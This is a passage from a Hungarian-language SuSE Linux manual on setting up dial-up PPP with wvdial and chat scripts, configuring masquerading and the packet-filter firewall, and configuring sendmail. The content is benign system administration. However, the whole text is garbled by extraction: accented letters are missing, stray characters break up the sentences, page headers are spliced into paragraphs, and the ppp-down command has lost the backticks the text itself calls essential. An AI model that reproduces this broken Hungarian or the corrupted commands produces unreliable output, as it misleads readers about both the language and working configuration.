6.6. Csatlakozs az Internethez: PPP wvdial -lal


[Dialer Defaults] Modem = /dev/modem Baud = 115200 Init1 = <special entry1> Init2 = <special entry2> ; Phone = ; Username = ; Password =

6.6.3 fjllista: /etc/wvdial.conf: Terminl adapter Vendor ELSA: ELSA MicroLink ISDN/TLpro and ISDN/TLV.34:
Init1 = AT&F\ N10%P1 Init2 = AT\ V0

Vendor ELSA: ELSA TanGo 1000 and ELSA TanGo 2000:


Init1 = AT&F$IBP=HDLCP Init2 does not apply

Vendor Zyxel: sszes modell:


Init1 = AT&FB40 Init2 = ATXO

Vendor Hagenuk: Speed/Viper Dragon:


Init1 = ATZ Init2 = AT&FB8X0

Ms gyrtk: Utna kell nzni az "initstring"-nek, melyet a gyrt az adapter lersban hatrozott meg. Nha Unix vagy Linux szkriptek is tallhatk, ahonnan ez a sztring kiolvashat. Vagy utnanzhetnk, mely initstring-et hasznlja az adapter, ha ms rendszerb l trcsz ki, o pl.: MS-Windows-bl. Minden ms belltsi lps vgrehajthat a kziknyvben lertak alapjn. 6.6.4 PCI modemek belltsa

A soros portok IRQ s IO cmei linuxban alaprtelmezsben az ISA krtyk ltal hasznlt rtkekre vannak belltva. Ezek a belltsok a legtbb PC-ben szabvnyosnak tekinthet k, ami biztostja azt, hogy nem lesz er forrs tko o zs. A PCI eszkzk szmra a boot sorn a BIOS jelli ki az er forrsokat, o s ez nem szksgszer en a hagyomnyos rtkeket jelenti, ha a BIOS egyeu dl marad a dntsben. Kvetkez kppen jrjunk el, amikor belltjuk a wvdial -t: o 1. A scanpci -v paranccsal tisztzzuk, mik a jelenlegi rtkek, amiket a BIOS a soros porthoz rendelt. A megszaktsra (IRQ) s IO cmekre (IO port) van szksgnk. 193

6. Kapcsolds a vilghoz s aztn hogyan tovbb? 2. lltsuk be modemnket a YaST Rendszeradminisztrci / Hardver integrlsa a rendszerbe / Modem konfigurlsa menin keresztl. Mikor ezt tesszk, legynk gyelemmel a lehetsges soros egrre s ms soros portokra; ktsg esetn vlasszuk a /dev/ttyS2-t, hogy elkerljnk minden tkzst kiegszt en beillesztett, szabvnyos interfsz o krtykkal. 3. A setserial parancs a soros port cserjre hasznlhat. Ha a modemnk pldul elfoglalja az 5-s IRQ-t s a 0x220-as IO cmet, de a kernel a 4-s IRQ-t s 0x02f8 cmet vrja, orvosolhatjuk ezt a kvetkez o paranccsal:
meggyfa: # setserial /dev/ttyS2 irq 5 port 0x220

E parancs vgrehajtsra most mr minden rendszerindulsnl szksg lesz. Ennek megttelre tegynk egy bejegyzst a /sbin/init.d/boot.local fjlba vagy hozztehetjk a /sbin/ init.d/serial-hoz, a start rszbe:
run_setserial /dev/ttyS2 irq 5 port 0x220

Tovbbi informcit a setserialrl a man setserial-ban tallhatunk. 4. A port belltsnak ellen rzseknt rjuk be a wvdialconf /dev/null o utastst. Ezutn minden ttySx port ellen rz dik, s a modem felismeo o r dhet. o Tancs: Egy lehetsges alternatvja a setserial-nak az, hogy a BIOS-ban cserljk meg az IRQ belltsokat. Ez csak akkor lehetsges, ha ezt a BIOS tmogatja, s az IO cmeket nem kell megcserlni. Hogy ezt megtegyk, tudnunk kell, melyik PCI foglalatban helyezkedik el az interfsz krtynk. Nhny BIOS setup programjban van egy almen, amelyben a PCI portok belltsai vannak meghatrozva. Itt egy meghatrozott megszaktst (IRQ-t) rendelhetnk minden egyes foglalathoz. Ez a legtbb esetben IRQ3 vagy IRQ4 lesz. A legkzelebbi rendszerindulsnl az jonnan belltott rtkek lpnek rvnybe. 6.6.5 Kzi PPP bellts haladknak

Ha az Internet kapcsolat wvdial -lal brmi okbl nem m kdik, bellthatjuk u a PPP-t kzileg is. Ha van vlasztsi lehet sg, mindazonltal, mg mindig a o wvdial -t javasoljuk. Nhny plda belltsi szkript az inetcfg ppp_nt s a toppp , doc-ban is. Megjegyzsek a T-Online-nal kapcsolatban A T-Online bejelentkezsi nv "user name" tartalmaz za a kapcsoldsi ID-t (12 szmjegy), amelyet kvet a a T-Online szma (12 szmjegy) s a felhasznli szm (4 szmjegy) 194 csomagban van, s a

6.6. Csatlakozs az Internethez: PPP wvdial -lal gy sszesen a bejelentkezsi nv 28 szmjegyb l ll. o Rgi kapcsolatokban a T-Online szm nem szerepel az elrsi adatokban. Ehelyett egy trcszsi el tag hozzadsa szksges a telefonszmhoz. Ha o a telefonszm rvidebb 12 jegynl, akkor adjuk a vghez a # jelet. Ms nyilvnvalan nem m kdik. Egy plda: u Nv: 01234567890123456789012#0001 Jelsz: egy rendes T-Online jelsz Itt egy lista a T-Online kiszolglkrl, a Tmogatsi Adatbzisunkbl. Szksg van ezekre a kiszolglkra a bngsz nkhz s ms eszkzkhz. o Nvkiszolgl: SMTP kiszolgl: POP kiszolgl: NNTP kiszolgl: dns00.btx.dtag.de mailto.btx.dtag.de pop.btx.dtag.de news.btx.dtag.de 194.25.2.129 elkldi a leveleket ezen keresztl fogadjuk a leveleket "popclient" News kiszolgl

Ha szksges vagy lehetsges megadhatjuk a proxy helyeket is: FTP proxy: HTTP proxy: Wais proxy: Gopher proxy: ftp-proxy.btx.dtag.de www-proxy.btx.dtag.de wais-proxy.btx.dtag.de gopher-proxy.btx.dtag.de FTP proxy WWW proxy Wais proxy Gopher proxy

Csatlakozs ltrehozsa A PPP csatlakozs ltrehozsa kt lpsb l ll. o El szr kapcsolat ltesl a kt modem kztt. Ezt a rszt a chat biztostja. o Mikor a kapcsolat kiplt s fut, a chat elintzi a kiszolglhoz val bejelentkezsi folyamatot, s azutn tadja az irnytst a PPP dmonnak. A dmon ezutn inicialzlja a PPP protokollt. Az inetcfg teleptse utn megtalljuk a ppp-up szkriptet a /usr/share/doc/packages/inetcfg-ban. Msoljuk ezt a szkriptet a /etc/ppp-be s alaktsuk t ignyeink szerint. A ppp-up szkript valstja meg ezutn a PPP kapcsolatot: El szr a kliens s a kiszolgl IP cmei lltdnak be. Ha 0.0.0.0-t adunk o meg a kliens szmra, s a kiszolgl cme res, akkor a pppd mindkett t a o kiszolgltl szerzi meg. Ha a cmek llandak vagy dinamikus cmkioszts amit szeretnnk, rjuk be a megfelel szmokat. o Ezutn az eszkz kerl meghatrozsra, melyhez a modem csatlakozik. A jelzsek (ag-ek) tudatjk a pppd -vel, hogy a modemet 38.400 bps-al m u kdtesse, s a PPP kapcsolatot rja be a kernel tvonalvlasz tbljba, mint alaprtelmezett tvonalat. A pppd -nek sok ms opcija s jelzse (ag) van. Rszletes lers a man 8 pppd-ben s a PPP HOGYAN-ban van. A mi pldnk mindazonltal a legtbb esetben m kdhet. u A chat ezutn tveszi a modemkapcsolat kiptsnek folyamatt. A /etc/ppp/ppp.chat szkript meghatrozza, hogy ez hogyan trtnjen: 195

6. Kapcsolds a vilghoz s aztn hogyan tovbb?


#!/bin/sh # # /etc/ppp/ppp-up # # Establishing a PPP-connection # localip=0.0.0.0 remoteip= device=/dev/modem pppflags=38400 modem debug defaultroute /usr/sbin/pppd lock connect /usr/sbin/chat -v -f /etc/ppp/ppp.chat $device $pppflags $localip:$remoteip

6.6.4 fjllista: /etc/ppp/ppp-up


TIMEOUT 30 ABORT NO CARRIER ABORT BUSY ABORT NO DIALTONE ABORT ERROR +++ATZ OK ATDT49911123456 CONNECT ogin:--ogin: <ppplogin> word: <ppppassword>

6.6.5 fjllista: /etc/ppp/ppp.chat

Az ABORT sorok hatrozzk meg, mit vlaszoljon a modem sikertelen kapcsolds esetn. A +++ATZ sorral inicializldik a modem. A ATDT<49911123456> sorral trcszza a kiszolglt. Ha a CONNECT sztringet fogadja a modem, a bejelentkezsi folyamat megkezd dhet. El szr a felhasznli nv s a jelsz jut el a kiszolglhoz. Too o vbbi informci a chat-r l a man 8 chat-ban tallhat. o Ha mindkt fjlt megfelel en kongurltuk s az attribtumaik is jl be vano nak lltva, ezutn a kapcsolat ltestshez csupn futtatnunk kell a ppp-up szkriptet. Ha a ppp-up a /etc/ppp/ppp-up-ban teleptve van, ahogyan ebben a fejezetben lertuk, nem lesz benne a PATH-ban; ppen ezrt meg kell hatroznunk a teljes elrsi utat:
meggyfa:/root # /etc/ppp/ppp-up

El reltan futtathatv kell tennnk a fjlt (x vgrahajtsi joggal): o meggyfa:/root # chmod 755 /etc/ppp/ppp-up 196

6.6. Csatlakozs az Internethez: PPP wvdial -lal A kapcsolat megsz nik a PPP dmon lelltsval. Ez pldul a /etc/ppp/pppu down szkripttel megtehet : o

#!/bin/sh # # /etc/ppp/ppp-down # # Terminating PPP-connection # kill cat /var/run/ppp0.pid

6.6.6 fjllista: /etc/ppp/ppp-down karakterr l. Ez pao Bizonyosodjunk meg rla, hogy nem felejtkeztnk el a rancs helyettest knt ismert, ami azt jelenti, a cat /var/run/ppp0.pid o melyik kimenete adand t a kill program szmra. A chat szkript testreszabsa Termszetesen a /etc/ppp/ppp.chat szkriptnek szsge van arra, hogy az egyedi rszletekhez igaztsuk. A felhasznli nven s jelszn kvl az egsz bejelentkezsi folyamat eltr lehet. Nhny nagyon ritka esetben o szksg lehet r, hogy a msik oldalon is elindtsuk a ppp protokollt (pl. ppp default-tal). Mindezek nem ltalnos rvny ek. u Kivve klnleges azonostsi folyamatot hasznlva, mint amilyen a PAP vagy CHAP, a bejelentkezsi folyamat hasonl egy ltalnos terminl bejelentkezshez, kivve, hogy ezt automatikusan vgrehajtja a szkript, ahelyett, hogy ezt kzileg tennnk meg. Ennek elrsre a kvetkez ket tehetjk: o Gondosan tanulmnyozzuk t a szolgltatnk informciit, s krdezzk meg, ltezik-e mr egy szkript az ignyeinkhez igaztva. Ha igen, minket is nagyon rdekelne, mivel ezeket a szkripteket mi is gy jtjk a u disztribcink szmra. Az eddig sszegy jttt szkriptjeink kzvetlenl u megtekinthet k a Tmogatsi Adatbzisunkban: o http://sdb.suse.de/sdb/en/html Krjk legyen kznl papr s ceruza! Indtsuk el az egyik terminlprogramot (pl. a minicom-ot), s jelentkezznk be kzileg. Jegyezzk fel pontosan mit kldnk el a szolgltatnknak, milyen sorrendben, s a mi oldalunkrl milyen bemenet szksgel tetik. A minicom-ban ez a Ctrl-A rhet el. L o -el Folytassuk a teend nket addig, amg a tvoli lloms ppp mdba vlt, o amely rendesen a kvetkez zenettel trtnik: "ppp-protocol o started". A folyamatban lv kapcsolat mr befejezhet , a vonal bonthat (minio o com: Ctrl-A H ). 197

6. Kapcsolds a vilghoz s aztn hogyan tovbb? A terminlprogrambl kilphetnk (Minicom Ctrl-A X ). Ezt a protokollt hasznlva most mr igny szerint talakthatjuk a chat szkriptet. Nhny tovbbi magyarzat a chat-re vonatkozan: El szr a chat inicializldik o
TIMEOUT 30 ABORT "NO CARRIER" ABORT BUSY ABORT "NO DIALTONE" ABORT ERROR

A TIMEOUT fgg a kapcsolat ltrehozsnak idejt l, s nhny esetben o szsges (pl. 60-ra) nvelnnk. Az ABORT parancs meghatrozza milyen a modemt l rkez vlaszok lltjk o o le a szkriptet. A kvetkez sorok majdnem mindig a kvetkez szintaxishoz hasonltanak: o o Az els paramter (az els res szkzig) meghatrozza, hogy a modem mely o o zenetre vrjon. Ha ez a sztring eljut a modemhez, a sor htralev rsze vgre o fog hajtdni.
"" +++ATZ

Itt nincs vrt sztring, a modem azonnal inicializldik. Ez fgg a modem tpustl s a benne trolt jellemz kt l. Rendesen az ATZ prole 0 tlt dik be o o o (mikor bekapcsoljuk). Lehet, hogy itt kell nhny vltoztatst eszkzlnnk. A legjobb, ha ezt a sztringet sszehasonltjuk mr m kd terminlprograu o mokkal (pl. ltez DOS-os vagy windows alatti szoftverekkel). o Ha modemnk nem azt teszi amit mi akarunk, az lehet attl is, hogy modemnk rosszul van belltva (egy ATZ parancs nem hasznl). ssnk egy AT&F-et (a minicom-bl pldul), ami a gyri belltsok szerinti alaphelyzetbe hozza a modemet. Most mr trcszhatunk s elindthatjuk a bejelentkezsi folyamatot, pl.:
OK ATDTtelefonszam CONNECT "" ogin:--ogin: felhasznaloi_nev word: jelszo

Nyilvnvalan a telefonszam-ot, felhasznaloi nev-et s a jelszot a sajt rtkeinkkel kell helyettesteni. Vigyzzunk, hogy itt csak word szerepeljen, mert a tvoli lloms kldhet Password, password vagy csak word kifejezst is. Az
ogin:--ogin:

rtknek szksgszer en elgg rugalmasnak kell lennie, mivel visszatr erre u a sorra ha az (ogin)-t nem tallja, s vrja az ogin-t jra. Tovbbi informcik s pldk a man 8 chat-ban tallhatk. Itt bztat megjegyzst tallunk: 198

6.7. Masquerading (lczs) s tuzfalak bartok s "bartok"


A jelenlegi gyakorlatban egyszer szkriptek a gyakoriak. u

A szkript nem tartalmazhat res sorokat, res szkzket a sor kezdetn, vagy megjegyzseket! Most teszteljk a kapcsolatot a /etc/ppp/ppp-up paranccsal. Az esetleges hibazenet nem ltszik a kperny n, hanem a /var/log/messages o fjlba kerl. Hasznos, ha egy msodik terminlt is futtatunk, ahov berhatjuk a tail -f /var/log/messages parancsot, gy azonnal lthatjuk, ha valamilyen fontos zenet van.

6.7

Masquerading (lczs) s tuzfalak bartok s "bartok"

Fordtotta: Ifj. Olajos Imre A SuSE Linux felhasznlinak nagy rsze arra hasznlja szmtgpt, hogy modemmel csatlakozzon az Internethez, avagy egy routerrel egy brelt vonalhoz. Ezekben az esetekben a helyi hlzat gpei gyakran privt IP cmeket hasznlnak, amellyekkel gy nem lehet elrni az Internetet. Ahhoz, hogy a bels hlzat is el tudja rni az Internetet, n. "lczsra, (Masquerading)"-re o van szksg. Hasznlathoz el szr teleptsk fel a firewals csomagot a o sec kszletb l. Ez a csomag tartalmazza az lczshoz s a t zfalhoz szko u sges szkriptet. Mind a kett t az /etc/rc.config.d/firewall.rc.config fjlon o keresztl tudjuk belltani. sszer az lczssal egytt egy t zfalat is bellu u tani, hogy rendszernk jobban legyen vdve a kls tmadsoktl. Ajnljuk o ehhez elolvasni a /usr/share/doc/packages/firewals-ban tallhat dokumentcit. Semmi garancia nincs arra, hogy az itt lert eljrsok m kdnek s nem u okoznak galibt! Ha a rendszerbe annak ellenre sikerl betrnie egy rosszaindulat buhertornak, hogy a felhasznl pontosan kvette az utastsokat, ne a szerz t okoljuk rte! Tbbre rtkelnnk, ha ehelyett az o gy nyert tapasztalok rszletes lerst velnk is megosztank a kvetkez o cmen: feedback@suse.de! 6.7.1 Az lczs (masquerading) alapjai

Kt klnbz hlzati egysgre van szksg az lczshoz. Legalbb az o egyik ezek kzl egy olyan Ethernet krtya kell, hogy legyen, amelyre a bels hlzat van ktve. Ennek a hlzatnak az erre a clra fenntartott hlo zati cmeket kell hasznlnia, amely lehet pldul a kvetkez cmtartomny: o 192.168.0.0 - 192.168.255.255. A belltsi pldnkban felttelezzk, hogy a router (amelyet itt fogunk belltani) a 192.168.0.1 cmre van belltva a bels hlzathoz kttt hlzati krtyhoz. A bels hlo o zat szmtgpei gy a kvetkez IP cmeken rhet ek el: 192.168.0.2, o o 192.168.0.3, stb. 199

6. Kapcsolds a vilghoz s aztn hogyan tovbb? A kls hlzati eszkz lehet pldul egy ISDN krtya, amellyel az Internetet o is el lehet rni, vagy egy brelt vonal, amely egy Ethernet hlzati krtyhoz van csatlakoztatva - az albbi pldnkban ez utbbi megltt felttelezzk. A tovbbiakban elmagyarzzuk, hogyan kell belltani. 6.7.2 A tuzfal alapjai

Ha pontosak akarunk lenni, ez a csomag nem egy "t zfalat", hanem egy "csou magsz r t" tartalmaz. Egy csomagsz r nem engedi hozzfrni az illetkuo uo telen felhasznlt a hlzat azon IP cmeihez s portjaihoz, amelyek elrse nincs kifejezetten engedlyezve. Azonban ha a szmtgpnket webkiszolglknt is akarjuk hasznlni, s a 80-as port hasznlathoz engedlyt adunk - amit meg kell adni, hiszen enlkl a webkiszolgl nem rhet el kls gpekr l -, akkor a szmtgpnk o o o nem lesz tbb vdett az ezen a porton keresztl jv tmadsoktl. Ez a o csomagsz r t zfal nem tud, s nem is akar egy alkalmazsok szintjn vdeuo u kez t zfalat helyettesteni. Egy olyan t zfal teleptst bzzuk szakemberre. o u u Viszont sajt megnyugtatsunk rdekben jobb, ha hasznljuk a csomagsz r uo t zfalat hzi szmtgpnkn. u 6.7.3 Az lczs s a tuzfal belltsa

A SuSE t zfal dokumentcija a /usr/share/doc/packages/ u firewall helyen tallhat meg. Elmleti alapjait a 18.1 . fejezetben (477. oldal) trgyalja. Az egsz bellts az /etc/rc.config.d/firewall.rc.config fjlban trtnik angol nyelven. A kvetkez kben lpsr l-lpsre megmutato o juk, hogyan kell belltani a t zfalat. Minden egyes lpshez oda van rva, u hogy az adott lps az lczsra avagy a t zfalra vonatkozik-e. A belltsi u fjlban a DMZ ("Demilitarized Zone", "demilitarizlt zna") is megemltsre kerl, de mi err l nem fogunk rszletesen szlni. o Ha kizrlag csak lczsra van szksgnk, akkor csak azokat a sorokat tltsk ki, amelyekhez oda van rva, hogy Masquerading. FW_START (T zfal, lczs): Ha rtke yes, akkor ez a szkript elindul. u gy lehet ki-be kapcsolni a t zfalat s/vagy az lczst. u FW_DEV_WORLD (T zfal, lczs): pl. eth0. Ez annak az eszznek a u neve, amely az Internetre csatlakozik. Pldtul az ISDN esetben rtke ippp0. FW_DEV_INT (T zfal, lczs): Annak az eszkznek a neve, amely a u bels , "privt" hlzatra van csatlakoztatva. Ha nincs ilyen bels hlzat o o (mert pld. a t zfal csak ezt az egy szmtgpet vdi), akkor hagyjuk u resen. FW_ROUTE (T zfal, lczs): Ha be akarjuk kapcsolni az lczst, legyen u ennek az rtke yes. Egy lczs nlkli t zfal esetben csak akkor u kapcsoljuk ezt be, ha el akarjuk rni a bels hlzatot. Ez csak akkor o fog m kdni, ha a bels hlzat szmtgpeinek is hivatalosan kiadott u o IP cmei vannak. Normlis esetben ne adjunk elrsi engedlyt a kls o felhasznlknak a bels gpekre. Ha ezen vltoz rtke yes, mert be o 200

6.7. Masquerading (lczs) s tuzfalak bartok s "bartok" akarjuk kapcsolni az lczst, akkor a bels szmtgpek tovbbra sem o lthatak kvlr l, mert ezeknek a gpeknek privt hlzati cmei vannak o (pl. 192.168.x.x), s gy nem rhet ek el az Internetr l. o o FW_MASQUERADE (lczs): Ha be akarjuk kapcsolni az lczst, akkor ennek rtke legyen yes. De biztonsgosabb, ha a bels hlzat gpei o egy n. proxy kiszolgln keresztl rik el az Internetet. FW_MASQ_NETS (lczs): Azon szmtgpek cme, amelyekre be akarjuk kapcsolni az lczst. Az egyes gpek cmeit szkzzel vlasszuk el egymstl. Pldul:
FW_MASQ_NETS="192.168.0.0/24 192.168.10.1"

FW_PROTECT_FROM_INTERNAL (T zfal): Ha ennek rtke yes, aku kor a t zfal a bels hlzat gpeir l jv tmadsoktl is vdeni fog. Ezen u o o o esetben kln meg kell hatrozni azon szolgltatsokat, amelyeket a bels o hlzat hasznlhat. Lsd mg FW_SERVICES_INTERNAL_TCP s FW_SERVICES_INTERNAL_UDP. FW_AUTOPROTECT_GLOBAL_SERVICES (T zfal): Normlis esetben u az rtkt hagyjuk yes-nek. FW_SERVICES_EXTERNAL_TCP (T zfal): Itt lehet megadni azon u szolgltatsok nevt, amelyek elrshez engedlyt adunk. Pldul: "www smtp ftp domain 443". Ha szmtgpnket otthon hasznljuk, s nem akarunk vele hlzati szolgltatsokat nyjtani, akkor a vltoz rtkt hagyjuk resen. FW_SERVICES_EXTERNAL_UDP (T zfal): Ha nem zemeltetnk egy u olyan nvkiszolglt, amelyet kls gpeknek is el kell rni, akkor ezt o hagyjuk resen. Ha mgis, akkor itt lehet megadni a szksges portok szmait. FW_SERVICES_INTERNAL_TCP (T zfal): Lsd a u FW_SERVICES_EXTERNAL_TCP vltoz magyarzatt, azzal a klnbsggel, hogy itt a bels hlzat hozzfrsi engedlyt hatrozzuk o meg. FW_SERVICES_INTERNAL_UDP (T zfal): Lsd fentebb. u FW_TRUSTED_NETS (T zfal): Itt adhatjuk meg azon szmtgpek cu meit, amelyekben nagyon megbzunk ("Trusted Hosts", megbzhat gazdagpek). De ezeket a gpeket is meg kell vdeni a kls behatolktl! o Pldul: "172.20.0.0/16 172.20.1.1" - ez azt jelenti, hogy a 172.20.1.1 IP cmmel rendelkez gp, ill. mindazon gpek, melyeko nek IP cme 172.20.x.x-szel kezd dik, gond nlkl thatolhatnak a o t zfalon. u FW_SERVICES_TRUSTED_TCP (T zfal): Itt lehet megadni azon TCP u portok cmeit, amelyet a "Trusted Hosts" (megbzhat gazdagpek) hasznlhatnak. Pldul ha ide a kvetkez t rjuk be: 1:65535, akkor a mego bzott gazdagpek mindegyik szolgltatst hasznlhatjk. Normlis esetben elg itt megadni az ssh szolgltatst. FW_SERVICES_TRUSTED_UDP (T zfal): Mint fentebb, csak UDP-re u vonatkozva. 201

6. Kapcsolds a vilghoz s aztn hogyan tovbb? FW_ALLOW_INCOMING_HIGHPORTS_TCP (T zfal): Ha szabvnyos u (aktv) FTP-re van szksgnk, akkor rjuk ide be ezt: ftp-data. FW_ALLOW_INCOMING_HIGHPORTS_UDP (T zfal): rtke legyen u dns ha hasznlni akarjuk az /etc/resolv.conf fjlban megadott nvkiszolglkat. A yes megadsval minden magas port szmot bekapcsolunk. FW_SERVICE_DNS (T zfal): Ha egy olyan nvkiszolgl fut, ameu lyet kls gpek szmra is elrhet v kell tenni, akkor legyen eno o nek rtke yes. Ezzel egytt a 3-as portot be kell kapcsolni a FW_TCP_SERVICES_*-ben is. FW_SERVICE_DHCLIENT (T zfal): Ha az IP cmnk megszerzsre a u dhclient-tet hasznljuk, akkor ennek rtke yes legyen. FW_LOG_* (T zfal): Itt lehet meghatrozni, hogy mit akarunk napu lzni. Normlis esetben elg bekapcsolni a yes megadsval a FW_LOG_DENY_CRIT vltozt. FW_STOP_KEEP_ROUTING_STATE (T zfal): Ha az Internetet autou matikusan trcszza a diald vagy az ISDN, akkor ennek rtke legyen yes. S ksz! Ne felejtsk el letesztelni a t zfalat ((pl. egy kvlr l megprblt u o telnet-tel). Ezen esetben valami hasonlt kell ltnunk a /var/log/ messages fjlban:
Feb 7 01:54:14 www kernel: Packet log: input DENY eth0 PROTO=6 129.27.43.9:1427 195.58.178.210:23 L=60 S=0x00 I=36981 F=0x4000 T=59 SYN (#119)

6.8

rjunkA villmposta (e-mail) belltsa

Fordtotta: Vradi Istvn Ha mr egy kapcsolatot ltestettnk a klvilggal, PPP, UUCP, vagy ISDNen t, akkor azt hasznlnunk kne valamire. Egy meglehet sen tipikus alkalo mazs az E-Mail , vagy villmposta (e-mail). Ez a rsz a sendmail belltst rja le2 . A sendmail hatrozza meg, hogy a kimen s bejv E-Mail hogy legyen o o kzbestve. Ez lehet akr egy TCP/IP hlzaton t az SMTP protokoll hasznlatval, vagy ms tovbbtsi mdon, mint pl. az UUCP. A sendmail f belltsi fjlja a /etc/sendmail.cf. Ha egy normo lis s egyszer belltsunk van, bellthatjuk a szksges paramtereket a u YaST hasznlatval. A YaST ezutn ltrehoz neknk egy rvnyes /etc/ sendmail.cf-et. Minden bellts a /etc/rc.config-ba kerl bersra s a YaST ltre fogja hozni a /etc/sendmail.cf fjlt neknk, az itt megadott paramterek felhasznlsval. Mivel a sendmail belltsa meglehet sen sszetett, a SuSE kt el re sszeo o lltott belltst nyjt, ami a legtbb esetben elegend . o
2 Vannak tbb alternatvja is a sendmail -nek, pl.: az smail s a qmail . Ezeket nem trgyaljuk ebben a knyvben.

202

6.8. rjunkA villmposta (e-mail) belltsa Ha a sendmail -t egy TCP/IP hlzaton bell tervezzk hasznlni, gy z djnk o o meg rla, hogy van-e egy rvnyes DNS szervernk. Itt fel kell lltanunk egy ("MX record" mail exchange record) bejegyzst minden nvre. A jelenlegi belltsokat leellen rizhetjk a host paranccsal (a bind -ben): o
meggyfa: # host atlantisz.liget atlantisz.liget address 192.168.0.1 atlantisz.liget mail is handled (pri=10) by atlantisz.liget atlantisz.liget mail is handled (pri=100) by mail-relay.liget

Ha nincs bejegyzs mail-re, meg kell krnnk a rendszergazdnkat, hogy segtsen. Az albbi E-Mail vltozkat bellthajuk a YaST -tal a /etc/rc.configban (lsd a 17.6 . fejezetben (463. oldal)): SENDMAIL_TYPE="yes" Ezt a vltozt yes-re kell lltanunk, ha a sendmail belltsi fjlt a /etc/rc.config rtkeit hasznlva hozzuk ltre. Ha egy sajt /etc/sendmail.cf-et akarunk ltrehozni, a vlasz itt no. SENDMAIL_LOCALHOST="localhost www.liget " A sendmail -nek tudnia kell, hogy melyik E-Mailt kell helyben trolnia s melyiket kell tovbbtania egy msik host-hoz. Egy E-Mail a helyi hosthoz maghoz, alaprtelmezetten helyben kerl elmentsre. Ha megadunk egy listt a SENDMAIL_LOCALHOST-ban, bellthatunk ms neveket is, melyeket ezltal helyi host-nak tekintnk. Pldul: a gp neve atlantisz.liget. Ez egy WWW site-knt szolgl a www.liget szmra. Az E-Mail elfogadshoz, amit a www.liget-hez kldenek, meg kell adnunk az albbi sort: SENDMAIL_LOCALHOST="localhost www.liget ". FROM_HEADER=liget Normlisan, a helyi gp nevt hasznljuk a from mez hz. Ezt bellto hajuk egy ms nvre is: Pldul: A gp neve meggyfa.liget. E-Mail-t akarunk kldeni, mint jancsi @liget. Ezt megtehetjk a kvetkez paramterrel: o FROM_HEADER=liget. SENDMAIL_SMARTHOST=mail-server.provider.de A sendmail megkrdezi a DNS nevt minden egyes levlnek, ami nem helyi kzbests s megprblja elkldeni az E-Mail-t az SMTP protou koll segtsgvel. Ez a host lehet akrhol az Interneten s egy meglehet s o lass kapcsolata is lehet a helyi host-hoz. Ennek a paramternek a belltsa lehet v teszi neknk egy kzbees host belltst, ami megkapja o o az sszes kimen leveleinket. Ezutn ez a host lesz felel s az E-Mail-nk o o kzbestsrt. Els plda: Ez egy trcszs (dialup) kapcsolathoz. gy, kzvetlenl az o ISP-nkhez kzbestjk az sszes E-Mail-nket: SENDMAIL_SMARTHOST=smtp:mail-server.provider.de. 203

6. Kapcsolds a vilghoz s aztn hogyan tovbb? Msodik plda: Ha a kapcsolatunk egy UUCP-n keresztli, elkldhetjk az sszes EMail-t ami nem helyi, az UUCP szervernkhz: SENDMAIL_SMARTHOST=uucp-dom:uucp.liget. SENDMAIL_NOCANONIFY=no A sendmail megprblja rtelmezni egyenknt s minden egyes villmpsta (e-mail) cmet a levl fejlcb l s behelyettest minden nevet o a "Teljes Hivatalos Domn Nv (Fully Qualied Domain Name)"-vel (FQDN). Ha itt nincs elrhet DNS szerver (taln egy trcszs (dialup) o kapcsolat miatt) s helyesen adtuk be a nevet, kikapcsolhatjuk ezt a yes-re lltssal. SENDMAIL_ARGS="-bd -q30m -om" Ezzel lehet a sendmail -t meghvni a rendszer indulsakor. A -q30m megmondja a sendmail -nek, hogy ellen rizze a /var/spool/mqueue-t o minden 30 percben, van-e E-Mail. A -bd a sendmail -t "dmon md"-ban indtja, lehet v tve E-Mail fogadst a TCP/IP hlzaton keresztl. Ha o egy trcszs (dialup) kapcsolatunk van, kihagyhatjuk a -q30m-t s meghvhatjuk a sendmail -t kzvetlenl a sendmail -q-val. Ez megtehet o egy crontab bejegyzsen t egyszer vagy ktszer egy nap. Tovbb, megadhatjuk a sendmail -q-t a szkriptnkbe, hogy ltestsen kapcsolatot az ISP-nkhz. Ezzel le s feltlthetjk az E-Mail-nket minden alkalommal, amikor a hlzathoz csatlakozunk. SENDMAIL_EXPENSIVE=no Normlisan, a sendmail megprblja kzbesteni az E-Mail-t azonnal az SMTP-n keresztl. Ha csak ideiglenes kapcsolatunk van, taln nem is ez ami neknk kell, mivel egy kapcsolat jn ltre minden alkalommal ahnyszor runk egy E-Mail-t. Ha yes-re lltjuk ezt, a levelet be fogja sorolni a /var/mqueue-ba s akkor kzbesti azonnal, amint elindtjuk a sendmail -q-t. Minden helyi kzbests E-Mail-t a procmail kezel s a helyi E-Mail alu knyvtrba /var/spool/mail/<name> ment el. Nzzk meg a man procmailrc-t, a man procmail-t valamint a man procmailex-t ezrt a rendkvl sokoldal eszkz lersrt. Ha nem kzbestjk a tvoli E-Mail-t azonnal, akkor az elmentsre kerl a besorol (queue) knyvtrba /var/mqueue s a sendmail legkzelebbi futsakor kerl kzbestsre. Kzvetlenl is elindthatjuk a sendmail -t a sendmail -q megadsval. Tovbbi belltsokat vgezhetnk el, a /etc/aliases-ben s nhny ms fjlban, pl. a /etc/mail/-ben. Megjegyzsekkel elltott pldkat tartalmaznak ezek a fjlok. Nhny fjlt be kell fordtani az adatbzisokba a makemap eszkz hasznlatval. Ez automatikusan meghvsra kerl ha elindtjuk a SuSEcong-ot vagy ha kilpnk a YaST -bl. Ha egy bonyolultabb sendmail belltsra van szksgnk, kikapcsolhatjuk az automatikus /etc/sendmail.cf belltst a SENDMAIL_TYPE=noval. Ezutn hasznlhatjuk a /etc/mail/linux.mc-t, mint egy sablont, a belltsunkhoz. A linux.mc az m4 parancsok hasznlatra kszlt. 204

6.9. News: Teljesen j zenetek az USENET-r l o


meggyfa: # m4 /etc/mail/linux.mc > /etc/sendmail.cf

ltrehoz egy rvnyes sendmail belltst a /usr/share/sendmail makrk hasznlatval. Tovbbi dokumentci tallhat a /etc/mail, /usr/share/sendmail, s /usr/share/doc/packages/sendmail fjlokban. Van egy web site a http://www.sendmail.org/ cmen. Ha mg ennI is bonyolultabb belltsra van szksgnk, akkor a sendmail knyvre is szksgnk lesz OReilly-tl3 . Ez lerja a sendmail sszes dicsrett rszletesen.

6.9

News: Teljesen j zenetek az USENET-r l o

